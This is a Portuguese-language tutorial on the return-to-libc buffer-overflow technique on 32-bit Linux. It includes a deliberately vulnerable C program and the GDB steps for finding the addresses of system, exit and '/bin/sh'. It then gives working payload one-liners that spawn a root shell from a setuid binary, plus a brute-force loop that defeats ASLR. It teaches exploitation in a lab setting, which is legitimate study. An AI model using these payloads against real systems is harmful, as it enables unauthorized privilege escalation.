Retornando para LibC / Ret2libc
----[ Tema : Retornando para LibC / Ret2libc ]
----[ Autor : m0nad [at] email.com ]
----[ Data : 12/3/2010 ]
----[ Versão : 1.0 ]
--Índice
- Apresentação
- Pré-requisitos
- Introdução
- Desabilitando Proteções
- O Código Vulnerável
- Utilizando o GDB
- Utilizando a função getenv
- A Exploração
- Conclusão
- Referencias
- Agradecimentos
- Apresentação
Eu sou m0nad, do grupo BugSec ( http://code.google.com/p/bugsec/ ) e integrante do botecounix
( www.botecounix.com.br ), visitem la que tem muita coisa boa.
Estou aqui para demonstrar a técnica clássica de return to libc , ou retornar para libc, existem
outras maneiras de se executar esta técnica, mas aqui só abrangeremos o básico.
- Pré-requisitos
Bem, espero que você saiba programar em C, e já tenha se aventurado com os buffer overflows,
um conhecimento de assembly e de arquitetura/organização de computadores básico ajudaria,
precisamos também de um Linux 32bits, assim como o gcc e gdb.
- Introdução
A técnica tradicional de exploração de stack-based overflows, consiste em executarmos o
shellcode que colocamos na pilha, mas se a pilha não for executável não adiantaria nada
pularmos para o shellcode que esta la, pois o este não seria executado, isso é chamado
de NX bit(Non eXecute) ( http://en.wikipedia.org/wiki/NX_bit ), bem com ret2libc é possível
a exploração, pois não utilizamos shellcode, outra vantagem, é quando o buffer é muito
pequeno para colocarmos o nosso shellcode.
Ret2libc, também chamado de Arc Injection é um método de se passar por essa proteção, é
de certa forma parecida com outros stack-based overflows, vamos setar o endereço de retorno,
para onde nos quisermos.
A ideia da técnica e substituir o endereço de retorno para a biblioteca compartilhada libc,
geralmente para função 'system()' ( que só precisa de um argumento ) para executar um comando
arbitrário.
Mas primeiro vou falar de 2 questões, a maioria usa distribuições Linux modernas que vem com
outros tipos de proteção, estou falando do SSP ( smash-the-stack-protection ) mas também
chamado de ProPolice, e com ASLR (Address Space Layout Randomization), precisamos desabilitar
essas proteções para ter sucesso na técnica, mas, no final também ensino a burlar uma delas ;).
- Desabilitando Proteções
Para desabilitar o SSP, quando for compilar seu código vulnerável, basta acrescentar a tag
-fno-stack-protector.
ex:
$gcc vuln.c -o vuln -fno-stack-protector
Para desabilitar o ASLR, basta digitar, como root:
# echo 0 > /proc/sys/kernel/randomize_va_space
- O Código Vulnerável
Pronto, agora já estamos prontos para começarmos, compile o código vulnerável abaixo,
como eu mostrei acima.
------------code---------------
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main (int argc, char **argv)
{
char buffer[4];
if (argc != 2) {
puts ("sem argumentos");
exit (1);
}
strcpy(buffer, argv[1]);
}
------------code---------------
Vamos 'verificar' se ele esta vulnerável.
$ ./vuln `perl -e 'print "A" x 16'`
Falha de segmentação
- Utilizando o GDB
Percebemos a falha, vamos olhar no gdb o que esta acontecendo.
$ gdb vuln
GNU gdb (GDB) ...
...
(gdb) r `perl -e 'print "A" x 16'`
Starting program: /home/m0nad/vuln `perl -e 'print "A" x 16'`
Program received signal SIGSEGV, Segmentation fault.
0xb7eb7286 in _setjmp () from /lib/tls/i686/cmov/libc.so.6
Hmm, parece que ainda não sobrescrevemos o eip, apesar do erro, devo apenas ter corrompido
apenas o ebp, vamos ver.
(gdb) i r
eax 0x0 0
ecx 0x0 0
edx 0x414140fd 1094795517
ebx 0xb7fcdff4 -1208164364
esp 0xbffff44c 0xbffff44c
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0xb7eb7286 0xb7eb7286 <_setjmp+6>
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
Veja, ebp 0x41414141, o ebp foi totalmente sobrescrito, mas o eip parece estar intacto
vamos colocar mais 4 bytes, e ver se pegamos o eip.
(gdb) r `perl -e 'print "A" x 16 . "BBBB" '`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/m0nad/vuln `perl -e 'print "A" x 16 . "BBBB" '`
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
Perfeito, o eip todo sobrescrito por letras "B's" , agora que vem a técnica do ret2libc, vamos
ver qual o endereço da função system, para colocarmos no lugar do retaddr.
(gdb) b main
Breakpoint 1 at 0x80484b7
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/m0nad/vuln ]
Breakpoint 1, 0x080484b7 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x80483a0 <system@plt>
Outra maneira de se descobrir, e adicionando essa linha ao código
--
printf ("system() = %p\n", system);
--
$ ./vuln asdf
system() = 0x80483a0
Pronto, já temos o endereço, mas e os argumentos, como vamos coloca-los? bem meu amigo, como
você já deve saber, a pilha alem de guardar o endereço de retorno de uma função, também guarda
parâmetros para funções, alem de outras coisas como as próprias variáveis, que estamos
transbordando aqui, quando uma função vai ser chamada, algo que no C seria algo como
system("/bin/sh"); por exemplo, para explanar a nossa shell, no assembly, ficaria algo como
abaixo.
push $endereço de /bin/sh
call $endereco de system
Quando a função call, é chamada, ela executa um push, ou seja, coloca na pilha, o endereço da
próxima instrução (endereço contido no program counter ou contador de instrução) e da um jump
para o código da função, no caso da função system().
Bem, dito isso, sabemos que acima do endereço da função system, que vamos colocar no lugar do
endereço de retorno, colocaremos um endereço de retorno para a função system, podendo ser qualquer
coisa com 4 bytes, pois ele só vai executar depois que sairmos de nossa shell, no caso vamos usar
o endereço da syscall exit, e depois o endereço da string /bin/sh, ficando assim:
[ lixo ] [ end. system ] [ end. exit ] [ end. /bin/sh ]
Para capturarmos o endereço de exit(mas caso você não se importe que o programa crashe, depois
que você sair da shell, pode colocar 4 bytes quaisquer), vamos fazer da mesma maneira que a system.
.
(gdb) b main
Breakpoint 1 at 0x80484b7
(gdb) p exit
$1 = {<text variable, no debug info>} 0x80483f0 <exit@plt>
Com a string /bin/sh, vamos exporta-la na shell, e ver 2 maneiras de se achar o endereço da mesma.
$ export TEST="/bin/sh"
Mas acontece, que assim precisamos acertar o endereço exato. do começo da string e muitas vezes,
ele "anda" um pouco, ou seja ele muda um pouco, então é mais fácil se fizermos algo como abaixo.
$ export TEST=" /bin/sh"
Para pegarmos o endereço usando o gdb.
(gdb) b main
Breakpoint 1 at 0x80484b7
(gdb) r
Starting program: /home/m0nad/vuln
Breakpoint 1, 0x080484b7 in main ()
(gdb) x/2000s $esp
Vão aparecer muitos endereços, com muita coisa, você dever ir dando <enter>, e geralmente no
final, estará assim:
0xbffffdff: "TEST=", ' ' <repete 51 vezes>, "/bin/sh"
(gdb) x/s 0xbffffdff
0xbffffdff: "TEST=", ' ' <repete 51 vezes>, "/bin/sh"
(gdb) x/s 0xbffffdff+10
0xbffffe09: ' ' <repete 46 vezes>, "/bin/sh"
Nesse caso, usaremos o endereço 0xbffffe09.
- Utilizando a função getenv
A outra maneira de se achar o endereço e usar o getenv() do C, veja o código exemplo
------------code---------------
#include <stdio.h>
#include <stdlib.h>
int main (int argc, char **argv)
{
char *path;
if (argc < 2 ) {
puts("Sem argumentos");
exit(1);
}
path = getenv (argv[1]);
if (path!=NULL)
printf ("O endereço e': %p\Seu conteúdo e': %s\n", path, path);
return 0;
}
------------code---------------
$ ./getenv TEST
O endereço e': 0xbffffdf5
Seu conteúdo e': /bin/sh
Pronto, já temos os endereços que precisamos.
system 0x80483a0
exit 0x80483f0
/bin/sh 0xbffffdf5
- A Exploração
Vamos a exploração, primeiro colocamos como suid root, para ficar mais legal :) como root faça:
# chown root vuln
# chmod +s vuln
Agora vamos exploita-lo.
$ ./vuln `perl -e 'print "A" x 16 . "\xa0\x83\x04\x08"."\xf0\x83\x04\x08"."\xf5\xfd\xff\xbf"'`
# id
uid=1000(m0nad) gid=1000(m0nad) euid=0(root)
#
Sucesso! pegamos o root :) , perceba que colocamos os endereços em ordem reversa por causa
do little endian, como na exploração de overflows normal.
- Burlando ASLR
Vamos ativar o ASLR agora
# echo 2 > /proc/sys/kernel/randomize_va_space
O endereço da função system não muda, mas a variável exportada muda, veja:
m0nad@desktop:~$ ./getenv TEST
O endereço e': 0xbfaeddff
Seu conteúdo e': /bin/sh
m0nad@desktop:~$ ./getenv TEST
O endereço e': 0xbfe78dff
Seu conteúdo e': /bin/sh
m0nad@desktop:~$ ./getenv TEST
O endereço e': 0xbfdc0dff
Seu conteúdo e': /bin/sh
m0nad@desktop:~$ ./getenv TEST
O endereço e': 0xbfb6bdff
Seu conteúdo e': /bin/sh
Mas percebemos que o começo do endereço (bf) e o final (dff) isso deixa 3 nibbles para serem
aleatórios, bem o que vamos fazer, é um bruteforce, vamos tentar um dos endereços muitas vezes,
até que caia no nosso endereço, para fazer isso eh muito simples, vou utilizar o endereço
0xbfb6bdff como exemplo:
$ while true;do ./vuln `perl -e 'print "A" x 16 . "\xa0\x83\x04\x08"."\xf0\x83\x04\x08"."\xff\xbd\xf6\xbf"'`;done
# id
uid=1000(m0nad) gid=1000(m0nad) euid=0(root)
Sucesso! o looping infinito faz com que tente todas as possibilidades dos 3 nibbles voltando
alguma hora, para o nosso endereço.
Essa técnica, pode demorar um pouco, mas funciona, o problema dela é na exploração remota, pois
na primeira tentativa o daemon seria derrubado, mas na exploração local funciona bem.
- Conclusão
Mesmo com NX-bit, um buffer pequeno, ainda sim é possível explorar o código com este tipo de técnica.
Até mesmo com ASLR, conseguimos pegar o root, apesar de dificultar a exploração remota.
Acredito que o melhor jeito é ainda escrever um bom código.
- Referencias
Return-to-libc attack - Wiki
http://en.wikipedia.org/wiki/Return-to-libc_attack
Arc injection / Return to libc
http://www.acm.uiuc.edu/sigmil/talks/general_exploitation/arc_injection/arc_injection.html
Bypassing non-executable-stack during exploitation using return-to-libc
http://www.exploit-db.com/papers/31
- Agradecimentos
Agradeço aos meus amigos do bugsec e do botecounix, Cooler_, _MLK_ e I4K.
Agradeço ao IP_FIX, que está sempre me ajudando, e ao 0ut0fbound que conheci a pouco
e tem me ajudado bastante.
